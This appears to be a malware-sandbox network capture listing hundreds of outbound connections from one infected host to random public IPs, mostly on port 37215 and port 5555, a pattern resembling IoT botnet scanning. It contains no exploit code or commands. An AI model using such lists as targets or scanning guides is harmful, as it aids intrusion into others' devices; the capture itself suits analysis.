Feb 12, 2023 21:25:00.222270012 CET	52981	37215	192.168.2.23	157.28.45.33
Feb 12, 2023 21:25:00.222270012 CET	52981	37215	192.168.2.23	41.51.107.101
Feb 12, 2023 21:25:00.222273111 CET	52981	37215	192.168.2.23	41.37.4.46
Feb 12, 2023 21:25:00.222290993 CET	52981	37215	192.168.2.23	197.35.188.112
Feb 12, 2023 21:25:00.222302914 CET	52981	37215	192.168.2.23	197.178.231.192
Feb 12, 2023 21:25:00.222302914 CET	52981	37215	192.168.2.23	157.63.27.160
Feb 12, 2023 21:25:00.222311020 CET	52981	37215	192.168.2.23	201.176.81.215
Feb 12, 2023 21:25:00.222331047 CET	52981	37215	192.168.2.23	197.174.65.166
Feb 12, 2023 21:25:00.222332954 CET	52981	37215	192.168.2.23	197.236.254.224
Feb 12, 2023 21:25:00.222340107 CET	52981	37215	192.168.2.23	117.74.44.233
Feb 12, 2023 21:25:00.222342014 CET	52981	37215	192.168.2.23	41.55.198.189
Feb 12, 2023 21:25:00.222341061 CET	52981	37215	192.168.2.23	157.195.39.74
Feb 12, 2023 21:25:00.222341061 CET	52981	37215	192.168.2.23	157.44.123.38
Feb 12, 2023 21:25:00.222345114 CET	52981	37215	192.168.2.23	197.41.118.176
Feb 12, 2023 21:25:00.222345114 CET	52981	37215	192.168.2.23	157.39.143.32
Feb 12, 2023 21:25:00.222357988 CET	52981	37215	192.168.2.23	197.13.205.64
Feb 12, 2023 21:25:00.222357988 CET	52981	37215	192.168.2.23	176.152.18.22
Feb 12, 2023 21:25:00.222377062 CET	52981	37215	192.168.2.23	20.189.132.51
Feb 12, 2023 21:25:00.222383976 CET	52981	37215	192.168.2.23	41.207.38.191
Feb 12, 2023 21:25:00.222383976 CET	52981	37215	192.168.2.23	41.48.225.56
Feb 12, 2023 21:25:00.222388029 CET	52981	37215	192.168.2.23	157.156.6.214
Feb 12, 2023 21:25:00.222407103 CET	52981	37215	192.168.2.23	41.47.189.214
Feb 12, 2023 21:25:00.222407103 CET	52981	37215	192.168.2.23	197.146.103.57
Feb 12, 2023 21:25:00.222407103 CET	52981	37215	192.168.2.23	41.92.92.244
Feb 12, 2023 21:25:00.222448111 CET	52981	37215	192.168.2.23	41.147.92.210
Feb 12, 2023 21:25:00.222451925 CET	52981	37215	192.168.2.23	157.18.115.205
Feb 12, 2023 21:25:00.222451925 CET	52981	37215	192.168.2.23	41.163.32.69
Feb 12, 2023 21:25:00.222451925 CET	52981	37215	192.168.2.23	197.64.246.9
Feb 12, 2023 21:25:00.222462893 CET	52981	37215	192.168.2.23	157.147.72.30
Feb 12, 2023 21:25:00.222503901 CET	52981	37215	192.168.2.23	197.210.97.163
Feb 12, 2023 21:25:00.222506046 CET	52981	37215	192.168.2.23	52.109.58.60
Feb 12, 2023 21:25:00.222507000 CET	52981	37215	192.168.2.23	41.113.88.152
Feb 12, 2023 21:25:00.222510099 CET	52981	37215	192.168.2.23	157.230.157.212
Feb 12, 2023 21:25:00.222510099 CET	52981	37215	192.168.2.23	197.235.9.253
Feb 12, 2023 21:25:00.222512960 CET	52981	37215	192.168.2.23	157.97.25.30
Feb 12, 2023 21:25:00.222512960 CET	52981	37215	192.168.2.23	197.95.168.16
Feb 12, 2023 21:25:00.222527981 CET	52981	37215	192.168.2.23	197.0.232.125
Feb 12, 2023 21:25:00.222527981 CET	52981	37215	192.168.2.23	197.243.224.245
Feb 12, 2023 21:25:00.222532988 CET	52981	37215	192.168.2.23	41.43.44.74
Feb 12, 2023 21:25:00.222539902 CET	52981	37215	192.168.2.23	157.35.150.188
Feb 12, 2023 21:25:00.222541094 CET	52981	37215	192.168.2.23	157.52.180.12
Feb 12, 2023 21:25:00.222539902 CET	52981	37215	192.168.2.23	197.13.22.137
Feb 12, 2023 21:25:00.222541094 CET	52981	37215	192.168.2.23	41.248.174.81
Feb 12, 2023 21:25:00.222546101 CET	52981	37215	192.168.2.23	41.55.16.213
Feb 12, 2023 21:25:00.222539902 CET	52981	37215	192.168.2.23	152.87.107.127
Feb 12, 2023 21:25:00.222546101 CET	52981	37215	192.168.2.23	199.198.130.56
Feb 12, 2023 21:25:00.222549915 CET	52981	37215	192.168.2.23	41.185.241.20
Feb 12, 2023 21:25:00.222549915 CET	52981	37215	192.168.2.23	157.127.170.192
Feb 12, 2023 21:25:00.222546101 CET	52981	37215	192.168.2.23	27.206.218.206
Feb 12, 2023 21:25:00.222539902 CET	52981	37215	192.168.2.23	157.114.208.132
Feb 12, 2023 21:25:00.222549915 CET	52981	37215	192.168.2.23	197.155.248.118
Feb 12, 2023 21:25:00.222546101 CET	52981	37215	192.168.2.23	157.119.81.178
Feb 12, 2023 21:25:00.222570896 CET	52981	37215	192.168.2.23	14.121.84.177
Feb 12, 2023 21:25:00.222570896 CET	52981	37215	192.168.2.23	157.231.100.223
Feb 12, 2023 21:25:00.222570896 CET	52981	37215	192.168.2.23	197.21.40.206
Feb 12, 2023 21:25:00.222570896 CET	52981	37215	192.168.2.23	157.48.254.54
Feb 12, 2023 21:25:00.222575903 CET	52981	37215	192.168.2.23	205.96.162.33
Feb 12, 2023 21:25:00.222575903 CET	52981	37215	192.168.2.23	197.137.82.41
Feb 12, 2023 21:25:00.222575903 CET	52981	37215	192.168.2.23	157.120.173.7
Feb 12, 2023 21:25:00.222575903 CET	52981	37215	192.168.2.23	197.37.216.169
Feb 12, 2023 21:25:00.222608089 CET	52981	37215	192.168.2.23	140.4.211.74
Feb 12, 2023 21:25:00.222608089 CET	52981	37215	192.168.2.23	157.220.193.11
Feb 12, 2023 21:25:00.222613096 CET	52981	37215	192.168.2.23	41.78.75.109
Feb 12, 2023 21:25:00.222615957 CET	52981	37215	192.168.2.23	81.28.30.73
Feb 12, 2023 21:25:00.222615957 CET	52981	37215	192.168.2.23	197.19.42.76
Feb 12, 2023 21:25:00.222615957 CET	52981	37215	192.168.2.23	157.44.100.86
Feb 12, 2023 21:25:00.222616911 CET	52981	37215	192.168.2.23	197.97.42.220
Feb 12, 2023 21:25:00.222616911 CET	52981	37215	192.168.2.23	41.40.197.51
Feb 12, 2023 21:25:00.222640991 CET	52981	37215	192.168.2.23	41.245.63.115
Feb 12, 2023 21:25:00.222640991 CET	52981	37215	192.168.2.23	41.31.204.214
Feb 12, 2023 21:25:00.222662926 CET	52981	37215	192.168.2.23	157.91.132.63
Feb 12, 2023 21:25:00.222664118 CET	52981	37215	192.168.2.23	197.204.123.74
Feb 12, 2023 21:25:00.222662926 CET	52981	37215	192.168.2.23	41.91.9.162
Feb 12, 2023 21:25:00.222662926 CET	52981	37215	192.168.2.23	41.129.187.67
Feb 12, 2023 21:25:00.222664118 CET	52981	37215	192.168.2.23	41.162.37.189
Feb 12, 2023 21:25:00.222666979 CET	52981	37215	192.168.2.23	197.139.89.60
Feb 12, 2023 21:25:00.222662926 CET	52981	37215	192.168.2.23	96.153.23.35
Feb 12, 2023 21:25:00.222664118 CET	52981	37215	192.168.2.23	157.191.193.100
Feb 12, 2023 21:25:00.222662926 CET	52981	37215	192.168.2.23	41.180.217.14
Feb 12, 2023 21:25:00.222662926 CET	52981	37215	192.168.2.23	157.61.232.166
Feb 12, 2023 21:25:00.222664118 CET	52981	37215	192.168.2.23	180.188.8.193
Feb 12, 2023 21:25:00.222662926 CET	52981	37215	192.168.2.23	157.238.221.247
Feb 12, 2023 21:25:00.222664118 CET	52981	37215	192.168.2.23	41.170.183.23
Feb 12, 2023 21:25:00.222671986 CET	52981	37215	192.168.2.23	41.25.161.94
Feb 12, 2023 21:25:00.222664118 CET	52981	37215	192.168.2.23	197.225.207.245
Feb 12, 2023 21:25:00.222664118 CET	52981	37215	192.168.2.23	157.47.147.255
Feb 12, 2023 21:25:00.222704887 CET	52981	37215	192.168.2.23	197.210.83.134
Feb 12, 2023 21:25:00.222704887 CET	52981	37215	192.168.2.23	167.186.78.89
Feb 12, 2023 21:25:00.222707987 CET	52981	37215	192.168.2.23	41.128.138.113
Feb 12, 2023 21:25:00.222704887 CET	52981	37215	192.168.2.23	157.155.184.253
Feb 12, 2023 21:25:00.222712040 CET	52981	37215	192.168.2.23	223.182.114.30
Feb 12, 2023 21:25:00.222728968 CET	52981	37215	192.168.2.23	41.56.60.110
Feb 12, 2023 21:25:00.222742081 CET	52981	37215	192.168.2.23	157.50.136.95
Feb 12, 2023 21:25:00.222745895 CET	52981	37215	192.168.2.23	216.180.33.162
Feb 12, 2023 21:25:00.222745895 CET	52981	37215	192.168.2.23	197.73.132.60
Feb 12, 2023 21:25:00.222747087 CET	52981	37215	192.168.2.23	197.20.63.173
Feb 12, 2023 21:25:00.222745895 CET	52981	37215	192.168.2.23	41.16.103.241
Feb 12, 2023 21:25:00.222750902 CET	52981	37215	192.168.2.23	41.154.214.118
Feb 12, 2023 21:25:00.222757101 CET	52981	37215	192.168.2.23	60.146.151.134
Feb 12, 2023 21:25:00.222765923 CET	52981	37215	192.168.2.23	41.247.106.191
Feb 12, 2023 21:25:00.222768068 CET	52981	37215	192.168.2.23	209.70.91.89
Feb 12, 2023 21:25:00.222770929 CET	52981	37215	192.168.2.23	41.215.72.196
Feb 12, 2023 21:25:00.222774029 CET	52981	37215	192.168.2.23	157.31.9.217
Feb 12, 2023 21:25:00.222785950 CET	52981	37215	192.168.2.23	41.207.151.73
Feb 12, 2023 21:25:00.222791910 CET	52981	37215	192.168.2.23	197.213.161.146
Feb 12, 2023 21:25:00.222800016 CET	52981	37215	192.168.2.23	41.242.188.91
Feb 12, 2023 21:25:00.222800016 CET	52981	37215	192.168.2.23	157.40.162.190
Feb 12, 2023 21:25:00.222800016 CET	52981	37215	192.168.2.23	176.158.58.201
Feb 12, 2023 21:25:00.222800016 CET	52981	37215	192.168.2.23	157.217.203.137
Feb 12, 2023 21:25:00.222801924 CET	52981	37215	192.168.2.23	197.82.204.103
Feb 12, 2023 21:25:00.222800016 CET	52981	37215	192.168.2.23	157.12.47.227
Feb 12, 2023 21:25:00.222806931 CET	52981	37215	192.168.2.23	157.143.197.165
Feb 12, 2023 21:25:00.222810030 CET	52981	37215	192.168.2.23	142.244.35.14
Feb 12, 2023 21:25:00.222810030 CET	52981	37215	192.168.2.23	157.114.48.168
Feb 12, 2023 21:25:00.222824097 CET	52981	37215	192.168.2.23	197.70.179.167
Feb 12, 2023 21:25:00.222830057 CET	52981	37215	192.168.2.23	197.82.214.163
Feb 12, 2023 21:25:00.222841978 CET	52981	37215	192.168.2.23	41.203.39.225
Feb 12, 2023 21:25:00.222853899 CET	52981	37215	192.168.2.23	41.3.162.166
Feb 12, 2023 21:25:00.222861052 CET	52981	37215	192.168.2.23	222.160.171.34
Feb 12, 2023 21:25:00.222866058 CET	52981	37215	192.168.2.23	89.98.217.166
Feb 12, 2023 21:25:00.222866058 CET	52981	37215	192.168.2.23	48.167.203.119
Feb 12, 2023 21:25:00.222866058 CET	52981	37215	192.168.2.23	41.114.71.247
Feb 12, 2023 21:25:00.222866058 CET	52981	37215	192.168.2.23	163.217.56.172
Feb 12, 2023 21:25:00.222884893 CET	52981	37215	192.168.2.23	149.142.76.221
Feb 12, 2023 21:25:00.222912073 CET	52981	37215	192.168.2.23	197.216.70.209
Feb 12, 2023 21:25:00.222917080 CET	52981	37215	192.168.2.23	197.16.23.222
Feb 12, 2023 21:25:00.222918987 CET	52981	37215	192.168.2.23	197.95.194.92
Feb 12, 2023 21:25:00.222918987 CET	52981	37215	192.168.2.23	135.106.24.13
Feb 12, 2023 21:25:00.222942114 CET	52981	37215	192.168.2.23	41.1.233.251
Feb 12, 2023 21:25:00.222959995 CET	52981	37215	192.168.2.23	157.41.173.107
Feb 12, 2023 21:25:00.222963095 CET	52981	37215	192.168.2.23	197.60.97.12
Feb 12, 2023 21:25:00.222970009 CET	52981	37215	192.168.2.23	85.129.136.215
Feb 12, 2023 21:25:00.222996950 CET	52981	37215	192.168.2.23	197.185.203.101
Feb 12, 2023 21:25:00.222999096 CET	52981	37215	192.168.2.23	41.213.48.7
Feb 12, 2023 21:25:00.223016977 CET	52981	37215	192.168.2.23	41.107.31.69
Feb 12, 2023 21:25:00.223016977 CET	52981	37215	192.168.2.23	197.217.226.4
Feb 12, 2023 21:25:00.223035097 CET	52981	37215	192.168.2.23	41.125.137.39
Feb 12, 2023 21:25:00.223041058 CET	52981	37215	192.168.2.23	162.227.222.126
Feb 12, 2023 21:25:00.223061085 CET	52981	37215	192.168.2.23	157.14.169.241
Feb 12, 2023 21:25:00.223067999 CET	52981	37215	192.168.2.23	41.162.78.29
Feb 12, 2023 21:25:00.223069906 CET	52981	37215	192.168.2.23	157.167.179.131
Feb 12, 2023 21:25:00.223071098 CET	52981	37215	192.168.2.23	143.59.8.36
Feb 12, 2023 21:25:00.223114967 CET	52981	37215	192.168.2.23	41.129.19.137
Feb 12, 2023 21:25:00.223120928 CET	52981	37215	192.168.2.23	157.149.48.41
Feb 12, 2023 21:25:00.223130941 CET	52981	37215	192.168.2.23	179.145.1.11
Feb 12, 2023 21:25:00.223143101 CET	52981	37215	192.168.2.23	157.91.127.76
Feb 12, 2023 21:25:00.223143101 CET	52981	37215	192.168.2.23	110.128.11.14
Feb 12, 2023 21:25:00.223154068 CET	52981	37215	192.168.2.23	41.28.181.88
Feb 12, 2023 21:25:00.223165035 CET	52981	37215	192.168.2.23	197.228.21.160
Feb 12, 2023 21:25:00.223176003 CET	52981	37215	192.168.2.23	197.91.34.232
Feb 12, 2023 21:25:00.223181009 CET	52981	37215	192.168.2.23	9.15.140.110
Feb 12, 2023 21:25:00.223181963 CET	52981	37215	192.168.2.23	197.219.206.44
Feb 12, 2023 21:25:00.223192930 CET	52981	37215	192.168.2.23	197.208.16.42
Feb 12, 2023 21:25:00.223196983 CET	52981	37215	192.168.2.23	157.24.15.56
Feb 12, 2023 21:25:00.223212004 CET	52981	37215	192.168.2.23	197.16.160.164
Feb 12, 2023 21:25:00.223223925 CET	52981	37215	192.168.2.23	41.223.27.30
Feb 12, 2023 21:25:00.223237991 CET	52981	37215	192.168.2.23	69.81.66.179
Feb 12, 2023 21:25:00.223249912 CET	52981	37215	192.168.2.23	41.124.34.141
Feb 12, 2023 21:25:00.223251104 CET	52981	37215	192.168.2.23	157.108.84.93
Feb 12, 2023 21:25:00.223257065 CET	52981	37215	192.168.2.23	197.108.236.17
Feb 12, 2023 21:25:00.223258972 CET	52981	37215	192.168.2.23	197.115.14.172
Feb 12, 2023 21:25:00.223267078 CET	52981	37215	192.168.2.23	197.14.32.164
Feb 12, 2023 21:25:00.223290920 CET	52981	37215	192.168.2.23	156.244.35.157
Feb 12, 2023 21:25:00.223292112 CET	52981	37215	192.168.2.23	197.92.77.6
Feb 12, 2023 21:25:00.223292112 CET	52981	37215	192.168.2.23	197.232.125.154
Feb 12, 2023 21:25:00.223292112 CET	52981	37215	192.168.2.23	191.22.151.226
Feb 12, 2023 21:25:00.223311901 CET	52981	37215	192.168.2.23	157.248.73.130
Feb 12, 2023 21:25:00.223319054 CET	52981	37215	192.168.2.23	197.17.218.21
Feb 12, 2023 21:25:00.223339081 CET	52981	37215	192.168.2.23	77.53.234.97
Feb 12, 2023 21:25:00.223351955 CET	52981	37215	192.168.2.23	41.65.87.211
Feb 12, 2023 21:25:00.223351955 CET	52981	37215	192.168.2.23	142.6.139.133
Feb 12, 2023 21:25:00.223382950 CET	52981	37215	192.168.2.23	157.177.58.100
Feb 12, 2023 21:25:00.223387957 CET	52981	37215	192.168.2.23	157.56.188.14
Feb 12, 2023 21:25:00.223390102 CET	52981	37215	192.168.2.23	157.201.19.23
Feb 12, 2023 21:25:00.223407984 CET	52981	37215	192.168.2.23	41.39.29.212
Feb 12, 2023 21:25:00.223409891 CET	52981	37215	192.168.2.23	157.25.129.222
Feb 12, 2023 21:25:00.223432064 CET	52981	37215	192.168.2.23	41.251.77.6
Feb 12, 2023 21:25:00.223438978 CET	52981	37215	192.168.2.23	195.29.143.67
Feb 12, 2023 21:25:00.223450899 CET	52981	37215	192.168.2.23	157.89.163.161
Feb 12, 2023 21:25:00.223452091 CET	52981	37215	192.168.2.23	41.191.22.236
Feb 12, 2023 21:25:00.223462105 CET	52981	37215	192.168.2.23	157.19.15.139
Feb 12, 2023 21:25:00.223469019 CET	52981	37215	192.168.2.23	157.95.243.54
Feb 12, 2023 21:25:00.223495960 CET	52981	37215	192.168.2.23	157.220.117.15
Feb 12, 2023 21:25:00.223495960 CET	52981	37215	192.168.2.23	41.58.236.169
Feb 12, 2023 21:25:00.223514080 CET	52981	37215	192.168.2.23	197.20.15.47
Feb 12, 2023 21:25:00.223529100 CET	52981	37215	192.168.2.23	191.221.104.87
Feb 12, 2023 21:25:00.223531961 CET	52981	37215	192.168.2.23	157.222.7.212
Feb 12, 2023 21:25:00.239176989 CET	53024	37215	192.168.2.23	41.152.40.105
Feb 12, 2023 21:25:00.281955957 CET	37215	52981	157.33.169.15	192.168.2.23
Feb 12, 2023 21:25:00.303106070 CET	55100	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:00.303112030 CET	55102	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:00.303112984 CET	55862	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:00.303122044 CET	55858	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:00.303158998 CET	55110	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:00.303162098 CET	55860	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:00.343722105 CET	36540	49152	192.168.2.23	51.56.46.49
Feb 12, 2023 21:25:00.374252081 CET	37215	52981	27.6.57.86	192.168.2.23
Feb 12, 2023 21:25:00.416366100 CET	37215	52981	197.232.125.154	192.168.2.23
Feb 12, 2023 21:25:00.431308985 CET	38810	80	192.168.2.23	50.50.48.46
Feb 12, 2023 21:25:00.623258114 CET	49498	80	192.168.2.23	56.52.46.51
Feb 12, 2023 21:25:00.623276949 CET	54376	80	192.168.2.23	50.46.50.50
Feb 12, 2023 21:25:00.646214962 CET	33246	8080	192.168.2.23	56.54.46.52
Feb 12, 2023 21:25:00.655177116 CET	32818	80	192.168.2.23	56.50.46.55
Feb 12, 2023 21:25:00.659153938 CET	37328	80	192.168.2.23	53.56.46.53
Feb 12, 2023 21:25:00.659159899 CET	37330	80	192.168.2.23	53.56.46.53
Feb 12, 2023 21:25:00.687259912 CET	59998	80	192.168.2.23	52.50.46.50
Feb 12, 2023 21:25:00.751172066 CET	40386	81	192.168.2.23	51.56.46.49
Feb 12, 2023 21:25:00.751176119 CET	38968	80	192.168.2.23	53.48.46.50
Feb 12, 2023 21:25:00.751187086 CET	39002	80	192.168.2.23	49.55.53.46
Feb 12, 2023 21:25:00.751187086 CET	44526	80	192.168.2.23	49.55.46.50
Feb 12, 2023 21:25:00.751197100 CET	34932	80	192.168.2.23	49.49.54.46
Feb 12, 2023 21:25:00.783199072 CET	42516	80	192.168.2.23	109.202.202.202
Feb 12, 2023 21:25:00.949076891 CET	55964	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:00.954534054 CET	55212	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:00.955627918 CET	55214	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:00.957928896 CET	55216	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:00.960268974 CET	55218	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:00.966245890 CET	22272	5555	192.168.2.23	65.197.37.50
Feb 12, 2023 21:25:00.966269970 CET	22272	5555	192.168.2.23	198.224.82.61
Feb 12, 2023 21:25:00.966269970 CET	22272	5555	192.168.2.23	13.115.223.201
Feb 12, 2023 21:25:00.966273069 CET	22272	5555	192.168.2.23	84.4.0.77
Feb 12, 2023 21:25:00.966273069 CET	22272	5555	192.168.2.23	68.216.19.185
Feb 12, 2023 21:25:00.966275930 CET	22272	5555	192.168.2.23	201.228.161.121
Feb 12, 2023 21:25:00.966284037 CET	22272	5555	192.168.2.23	71.124.144.224
Feb 12, 2023 21:25:00.966289043 CET	22272	5555	192.168.2.23	181.174.23.134
Feb 12, 2023 21:25:00.966301918 CET	22272	5555	192.168.2.23	160.227.144.132
Feb 12, 2023 21:25:00.966301918 CET	22272	5555	192.168.2.23	70.4.233.189
Feb 12, 2023 21:25:00.966326952 CET	22272	5555	192.168.2.23	54.208.164.94
Feb 12, 2023 21:25:00.966326952 CET	22272	5555	192.168.2.23	104.191.242.92
Feb 12, 2023 21:25:00.966326952 CET	22272	5555	192.168.2.23	40.7.212.60
Feb 12, 2023 21:25:00.966326952 CET	22272	5555	192.168.2.23	218.221.172.15
Feb 12, 2023 21:25:00.966326952 CET	22272	5555	192.168.2.23	201.129.120.82
Feb 12, 2023 21:25:00.966326952 CET	22272	5555	192.168.2.23	70.24.241.102
Feb 12, 2023 21:25:00.966331959 CET	22272	5555	192.168.2.23	216.174.204.62
Feb 12, 2023 21:25:00.966331959 CET	22272	5555	192.168.2.23	211.148.177.171
Feb 12, 2023 21:25:00.966332912 CET	22272	5555	192.168.2.23	9.224.254.202
Feb 12, 2023 21:25:00.966332912 CET	22272	5555	192.168.2.23	172.45.3.68
Feb 12, 2023 21:25:00.966332912 CET	22272	5555	192.168.2.23	117.67.59.225
Feb 12, 2023 21:25:00.966339111 CET	22272	5555	192.168.2.23	171.238.11.212
Feb 12, 2023 21:25:00.966339111 CET	22272	5555	192.168.2.23	138.80.245.238
Feb 12, 2023 21:25:00.966341019 CET	22272	5555	192.168.2.23	101.123.231.67
Feb 12, 2023 21:25:00.966341972 CET	22272	5555	192.168.2.23	202.100.210.10
Feb 12, 2023 21:25:00.966341972 CET	22272	5555	192.168.2.23	158.250.240.167
Feb 12, 2023 21:25:00.966376066 CET	22272	5555	192.168.2.23	50.13.233.110
Feb 12, 2023 21:25:00.966377020 CET	22272	5555	192.168.2.23	8.114.223.30
Feb 12, 2023 21:25:00.966377020 CET	22272	5555	192.168.2.23	135.78.13.202
Feb 12, 2023 21:25:00.966389894 CET	22272	5555	192.168.2.23	139.184.113.120
Feb 12, 2023 21:25:00.966403008 CET	22272	5555	192.168.2.23	182.67.160.230
Feb 12, 2023 21:25:00.966403008 CET	22272	5555	192.168.2.23	12.71.246.40
Feb 12, 2023 21:25:00.966403961 CET	22272	5555	192.168.2.23	160.240.232.73
Feb 12, 2023 21:25:00.966403008 CET	22272	5555	192.168.2.23	155.250.233.85
Feb 12, 2023 21:25:00.966406107 CET	22272	5555	192.168.2.23	218.103.203.244
Feb 12, 2023 21:25:00.966403008 CET	22272	5555	192.168.2.23	125.208.108.227
Feb 12, 2023 21:25:00.966403008 CET	22272	5555	192.168.2.23	96.102.83.44
Feb 12, 2023 21:25:00.966406107 CET	22272	5555	192.168.2.23	141.183.84.85
Feb 12, 2023 21:25:00.966403008 CET	22272	5555	192.168.2.23	187.139.147.183
Feb 12, 2023 21:25:00.966413975 CET	22272	5555	192.168.2.23	168.239.20.220
Feb 12, 2023 21:25:00.966403961 CET	22272	5555	192.168.2.23	114.174.215.80
Feb 12, 2023 21:25:00.966406107 CET	22272	5555	192.168.2.23	84.91.149.3
Feb 12, 2023 21:25:00.966404915 CET	22272	5555	192.168.2.23	141.74.254.26
Feb 12, 2023 21:25:00.966413975 CET	22272	5555	192.168.2.23	63.185.85.179
Feb 12, 2023 21:25:00.966406107 CET	22272	5555	192.168.2.23	57.18.18.0
Feb 12, 2023 21:25:00.966403008 CET	22272	5555	192.168.2.23	135.247.238.45
Feb 12, 2023 21:25:00.966407061 CET	22272	5555	192.168.2.23	223.147.71.57
Feb 12, 2023 21:25:00.966403008 CET	22272	5555	192.168.2.23	20.132.80.178
Feb 12, 2023 21:25:00.966406107 CET	22272	5555	192.168.2.23	145.220.159.4
Feb 12, 2023 21:25:00.966407061 CET	22272	5555	192.168.2.23	204.8.114.70
Feb 12, 2023 21:25:00.966413975 CET	22272	5555	192.168.2.23	120.183.183.72
Feb 12, 2023 21:25:00.966403008 CET	22272	5555	192.168.2.23	137.230.96.83
Feb 12, 2023 21:25:00.966413975 CET	22272	5555	192.168.2.23	189.78.149.45
Feb 12, 2023 21:25:00.966407061 CET	22272	5555	192.168.2.23	153.188.64.225
Feb 12, 2023 21:25:00.966413975 CET	22272	5555	192.168.2.23	207.136.44.78
Feb 12, 2023 21:25:00.966407061 CET	22272	5555	192.168.2.23	210.105.126.75
Feb 12, 2023 21:25:00.966435909 CET	22272	5555	192.168.2.23	171.167.37.111
Feb 12, 2023 21:25:00.966435909 CET	22272	5555	192.168.2.23	40.29.101.97
Feb 12, 2023 21:25:00.966469049 CET	22272	5555	192.168.2.23	170.114.208.119
Feb 12, 2023 21:25:00.966469049 CET	22272	5555	192.168.2.23	96.37.43.106
Feb 12, 2023 21:25:00.966469049 CET	22272	5555	192.168.2.23	41.36.57.241
Feb 12, 2023 21:25:00.966469049 CET	22272	5555	192.168.2.23	64.252.109.190
Feb 12, 2023 21:25:00.966475010 CET	22272	5555	192.168.2.23	36.142.162.230
Feb 12, 2023 21:25:00.966475010 CET	22272	5555	192.168.2.23	201.10.61.38
Feb 12, 2023 21:25:00.966490030 CET	22272	5555	192.168.2.23	160.130.28.14
Feb 12, 2023 21:25:00.966490030 CET	22272	5555	192.168.2.23	223.31.239.31
Feb 12, 2023 21:25:00.966490030 CET	22272	5555	192.168.2.23	59.165.248.215
Feb 12, 2023 21:25:00.966490030 CET	22272	5555	192.168.2.23	151.18.34.43
Feb 12, 2023 21:25:00.966490030 CET	22272	5555	192.168.2.23	207.119.46.243
Feb 12, 2023 21:25:00.966495037 CET	22272	5555	192.168.2.23	205.53.114.1
Feb 12, 2023 21:25:00.966495037 CET	22272	5555	192.168.2.23	174.30.35.201
Feb 12, 2023 21:25:00.966495037 CET	22272	5555	192.168.2.23	105.149.111.247
Feb 12, 2023 21:25:00.966495037 CET	22272	5555	192.168.2.23	19.217.52.83
Feb 12, 2023 21:25:00.966510057 CET	22272	5555	192.168.2.23	143.90.113.184
Feb 12, 2023 21:25:00.966512918 CET	22272	5555	192.168.2.23	193.182.1.244
Feb 12, 2023 21:25:00.966510057 CET	22272	5555	192.168.2.23	44.154.94.97
Feb 12, 2023 21:25:00.966512918 CET	22272	5555	192.168.2.23	121.226.91.144
Feb 12, 2023 21:25:00.966512918 CET	22272	5555	192.168.2.23	160.127.61.146
Feb 12, 2023 21:25:00.966510057 CET	22272	5555	192.168.2.23	187.223.146.33
Feb 12, 2023 21:25:00.966512918 CET	22272	5555	192.168.2.23	53.163.129.215
Feb 12, 2023 21:25:00.966516018 CET	22272	5555	192.168.2.23	136.58.179.125
Feb 12, 2023 21:25:00.966512918 CET	22272	5555	192.168.2.23	74.213.249.169
Feb 12, 2023 21:25:00.966510057 CET	22272	5555	192.168.2.23	45.233.209.131
Feb 12, 2023 21:25:00.966512918 CET	22272	5555	192.168.2.23	82.202.57.125
Feb 12, 2023 21:25:00.966516018 CET	22272	5555	192.168.2.23	221.5.86.59
Feb 12, 2023 21:25:00.966512918 CET	22272	5555	192.168.2.23	91.31.125.70
Feb 12, 2023 21:25:00.966510057 CET	22272	5555	192.168.2.23	78.138.93.231
Feb 12, 2023 21:25:00.966512918 CET	22272	5555	192.168.2.23	18.239.97.224
Feb 12, 2023 21:25:00.966516018 CET	22272	5555	192.168.2.23	126.23.25.237
Feb 12, 2023 21:25:00.966510057 CET	22272	5555	192.168.2.23	69.48.143.21
Feb 12, 2023 21:25:00.966516018 CET	22272	5555	192.168.2.23	88.163.214.245
Feb 12, 2023 21:25:00.966510057 CET	22272	5555	192.168.2.23	145.145.168.135
Feb 12, 2023 21:25:00.966516018 CET	22272	5555	192.168.2.23	122.67.18.77
Feb 12, 2023 21:25:00.966527939 CET	22272	5555	192.168.2.23	43.150.23.236
Feb 12, 2023 21:25:00.966527939 CET	22272	5555	192.168.2.23	67.251.10.31
Feb 12, 2023 21:25:00.966527939 CET	22272	5555	192.168.2.23	193.84.131.96
Feb 12, 2023 21:25:00.966527939 CET	22272	5555	192.168.2.23	209.25.181.173
Feb 12, 2023 21:25:00.966527939 CET	22272	5555	192.168.2.23	147.51.204.233
Feb 12, 2023 21:25:00.966543913 CET	22272	5555	192.168.2.23	130.172.235.112
Feb 12, 2023 21:25:00.966543913 CET	22272	5555	192.168.2.23	46.53.177.197
Feb 12, 2023 21:25:00.966543913 CET	22272	5555	192.168.2.23	67.100.74.10
Feb 12, 2023 21:25:00.966543913 CET	22272	5555	192.168.2.23	104.193.131.126
Feb 12, 2023 21:25:00.966543913 CET	22272	5555	192.168.2.23	68.135.130.12
Feb 12, 2023 21:25:00.966543913 CET	22272	5555	192.168.2.23	202.16.226.128
Feb 12, 2023 21:25:00.966551065 CET	22272	5555	192.168.2.23	82.191.61.52
Feb 12, 2023 21:25:00.966551065 CET	22272	5555	192.168.2.23	65.228.2.103
Feb 12, 2023 21:25:00.966551065 CET	22272	5555	192.168.2.23	32.255.30.103
Feb 12, 2023 21:25:00.966558933 CET	22272	5555	192.168.2.23	91.244.118.19
Feb 12, 2023 21:25:00.966558933 CET	22272	5555	192.168.2.23	195.169.163.112
Feb 12, 2023 21:25:00.966558933 CET	22272	5555	192.168.2.23	161.249.130.26
Feb 12, 2023 21:25:00.966558933 CET	22272	5555	192.168.2.23	49.226.237.113
Feb 12, 2023 21:25:00.966558933 CET	22272	5555	192.168.2.23	63.169.219.75
Feb 12, 2023 21:25:00.966583014 CET	22272	5555	192.168.2.23	68.219.219.146
Feb 12, 2023 21:25:00.966583014 CET	22272	5555	192.168.2.23	68.57.153.25
Feb 12, 2023 21:25:00.966583014 CET	22272	5555	192.168.2.23	143.152.11.165
Feb 12, 2023 21:25:00.966588974 CET	22272	5555	192.168.2.23	12.34.21.20
